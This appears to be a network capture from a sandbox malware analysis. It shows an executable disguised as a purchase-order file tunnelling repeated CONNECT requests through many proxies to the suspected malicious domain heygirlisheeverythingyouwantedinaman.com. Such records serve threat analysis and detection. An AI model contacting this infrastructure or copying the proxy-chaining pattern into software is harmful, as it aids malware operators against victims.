Mar 11, 2024 16:42:22.627156019 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
834	192.168.2.11	52677	61.133.66.69	9002	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.472987890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
835	192.168.2.11	50629	92.204.134.38	25675	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.473242998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.485790014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.485793114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.485992908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:46.488502979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:58.579324961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:10.579305887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
836	192.168.2.11	52722	3.122.84.99	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.477272987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.782157898 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:22 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
837	192.168.2.11	52820	72.210.252.137	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.477447987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
838	192.168.2.11	52740	221.153.92.39	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.478044987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
839	192.168.2.11	52611	116.106.105.55	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.478044987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
840	192.168.2.11	52884	45.60.186.208	27488	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.478445053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
841	192.168.2.11	50649	162.214.165.203	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.479270935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.612189054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.177784920 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:42:25 GMT Server: Apache Content-Length: 661 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 61 64 6d 69 6e 40 65 78 61 6d 70 6c 65 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at admin@example.com to inform them of the time this err
Mar 11, 2024 16:42:27.177855968 CET	301	IN	Data Raw: 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e Data Ascii: or occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><p>Additionally, a 500 Internal Server Errorerror was encountered while trying to use a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
842	192.168.2.11	52756	147.75.34.86	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.479280949 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.780885935 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3
Mar 11, 2024 16:42:22.834187031 CET	394	OUT	Data Raw: 16 03 03 01 85 01 00 01 81 03 03 65 ef 26 5e 90 79 98 7d 46 f5 a4 09 ac 3e ee 21 1c 94 57 25 f2 59 d2 1c 4f 7a 65 a2 1a 24 fc 29 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e&^y}F>!W%YOze$)*,+0/$#('=<5/.-+(heygirlisheeverythingyouwantedinaman.com#V,$+-'y2IL#)[JSk65"
Mar 11, 2024 16:42:23.144812107 CET	1286	IN	Data Raw: 16 03 03 00 43 02 00 00 3f 03 03 65 ef 26 5e 61 01 25 ab 86 ae e9 27 4c ac 0f bd 8c 7f 1d 02 a4 f6 f9 65 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 17 00 00 00 00 00 17 00 00 ff 01 00 01 00 00 0b 00 02 01 00 00 23 00 00 16 03 03 10 cb 0b 00 10 c7 00 Data Ascii: C?e&^a%'LeDOWNGRD/#00`4ZmQ0*H0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50240212203110Z240512203109Z03110/
Mar 11, 2024 16:42:23.145093918 CET	1286	IN	Data Raw: 6d dd 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 1f 8b 40 68 93 64 2a 2d dc 07 bd 7a 5f 46 c4 ea f2 c8 d7 63 e0 4e cc 42 c7 44 46 d1 17 84 d3 1f 08 47 69 c2 b6 7f dd 9d a0 2d 9e 1b be 1f f8 19 ab ad d9 8d 7d 14 62 f3 40 cf 76 94 Data Ascii: m0H@hd-z_FcNBDFGi-}b@vwTJ;dm55inz74\|"@,+v?iS't;H%['rBuq,/aeYXhV
Mar 11, 2024 16:42:23.145106077 CET	1286	IN	Data Raw: 59 02 10 51 5c e3 c0 2b fd b7 06 48 51 7e 09 5e 3f 0f dc a7 fe 97 e7 79 c5 0e 44 89 78 c5 69 59 29 a0 9a 3a 48 36 29 a6 94 93 55 2d b8 47 b5 e9 96 b5 9f 07 cd a6 ab 3e 32 8a c0 86 83 c5 c1 41 c8 9f 2f 35 8e 0d c0 07 7a e1 ac c9 65 b5 cb 8a a7 dd Data Ascii: YQ\+HQ~^?yDxiY):H6)U-G>2A/5zeqae92>z6VWAmZ:ucitoL7(n c~+u<.rO6D#?Z]v](VfQQ{=0z$-KO?'>#ZB-z6=`9cxN!>\
Mar 11, 2024 16:42:23.447978973 CET	832	IN	Data Raw: 06 03 55 1d 23 04 18 30 16 80 14 60 7b 66 1a 45 0d 97 ca 89 50 2f 7d 04 cd 34 a8 ff fc fd 4b 30 60 06 08 2b 06 01 05 05 07 01 01 04 54 30 52 30 25 06 08 2b 06 01 05 05 07 30 01 86 19 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 70 6b 69 2e 67 6f 6f 67 2f Data Ascii: U#0`{fEP/}4K0`+T0R0%+0http://ocsp.pki.goog/gsr10)+0http://pki.goog/gsr1/gsr1.crt02U+0)0'%#!http://crl.pki.goog/gsr1/gsr1.crl0;U 4020g0g0+y0+y0
Mar 11, 2024 16:42:23.449837923 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 f0 dd 1c 63 8f de fa 93 38 5d be 27 64 d2 ca 23 3b 85 69 fe b9 64 cd 1b 85 b8 78 9b c6 e9 a3 24 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 ae b2 75 d0 1f 71 a3 06 85 5b 6b 60 a5 00 ae 9d bc fd d2 3d 69 Data Ascii: %! c8]'d#;idx$(uq[k`=iy$
Mar 11, 2024 16:42:23.752728939 CET	258	IN	Data Raw: 16 03 03 00 ca 04 00 00 c6 00 00 fd 1f 00 c0 70 3a 26 01 99 7e 3f 34 b2 2a ad 2e f8 88 be 08 f8 eb d8 0b ad 79 1d 08 40 ac df 4d fe 84 4c 89 20 78 14 17 ae 35 4b 54 8d 95 5f ff ca 0e fd ca 12 30 59 07 d7 bc 85 63 2b 7d 15 68 b9 2b b3 59 7c 8a 6f Data Ascii: p:&~?4.y@ML x5KT_0Yc+}h+Y\|o-FHD]R:#[W3FN^S.,~&Btw9"d1&)\y0^xOux4[U`>1A{u(t7hHX']
Mar 11, 2024 16:42:23.753855944 CET	277	OUT	Data Raw: 17 03 03 01 10 00 00 00 00 00 00 00 01 4f 6c fe d0 cb 25 dd af 2e 80 66 1a e7 34 77 3e 43 49 f1 f5 89 c9 86 43 55 65 bb bb 3b 4c 0e 24 fc bc d2 09 f3 85 52 4a ed 5b b6 02 4f e1 9e d2 c0 8b 5d 1e 85 47 9a b0 6c a6 86 ac 25 39 fc c8 9c e4 cb 9d 5f Data Ascii: Ol%.f4w>CICUe;L$RJ[O]Gl%9_.m>Hxe8FivFBsswl#fE2o!NoUPi9mL!xtW>0FX0}mBfOjkijQA;n/S<P{JF[U*J4Qs
Mar 11, 2024 16:42:24.062583923 CET	1286	IN	Data Raw: 17 03 03 05 71 00 00 00 00 00 00 00 01 ff 80 c9 aa 31 c2 61 00 8a ca 29 ca 1f b7 8e d5 a6 9e 62 78 6c d4 d9 8b 68 9a 06 e1 12 f6 08 1a 7c 50 48 8e ed 56 49 c7 fa 52 ff 16 05 69 76 35 ee d9 72 ce 73 d6 2f 5f 22 ca 9c c1 39 28 00 ee 53 86 1c 54 d6 Data Ascii: q1a)bxlh\|PHVIRiv5rs/_"9(STJBc{D6zz}!'i_I=:3x0A<qD0oZiJ\|(?{!s)&<+Dea;:>$*)~-9oy}7<uq7EK,qcTaS Vq~0
Mar 11, 2024 16:42:24.062649965 CET	1286	IN	Data Raw: ed be 2c a5 64 8b 52 49 1b 3b 3b 68 d0 01 dc ab a3 8f fa 03 63 f0 4b 8c fc 15 1c 85 12 71 e8 c7 7b f5 71 b9 d3 94 3b 72 98 10 25 f1 68 d8 eb 56 d9 2a 12 d7 19 eb 05 ea 22 ec ea 78 9d 44 30 cb 2c 1d f7 a4 9a 4e 31 1d fd c7 9a f8 40 2d 8c c6 55 cd Data Ascii: ,dRI;;hcKq{q;r%hV"xD0,N1@-U>^sEwjq\|?y!eKXd[s0#%4+5!RrU@\3=.;o@2(62pS:ZYL`-r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
843	192.168.2.11	52278	72.195.34.59	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.480246067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
844	192.168.2.11	52883	23.19.244.109	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.480262041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
845	192.168.2.11	52754	218.252.244.126	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.481836081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
846	192.168.2.11	50556	51.161.56.52	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.481926918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.612143993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.642112970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.642021894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:46.657212019 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:58.672887087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:10.672852993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:34.672761917 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:22.797708035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
847	192.168.2.11	52741	47.242.15.120	15673	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.482091904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
848	192.168.2.11	52742	1.15.62.12	5678	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.483418941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
849	192.168.2.11	50618	45.65.138.48	999	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.483880997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.562586069 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
850	192.168.2.11	52783	128.140.26.12	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.486993074 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.801414013 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.25.2 Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.25.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
851	192.168.2.11	52745	31.134.151.40	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.488485098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
852	192.168.2.11	50554	163.172.137.49	16379	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.490686893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
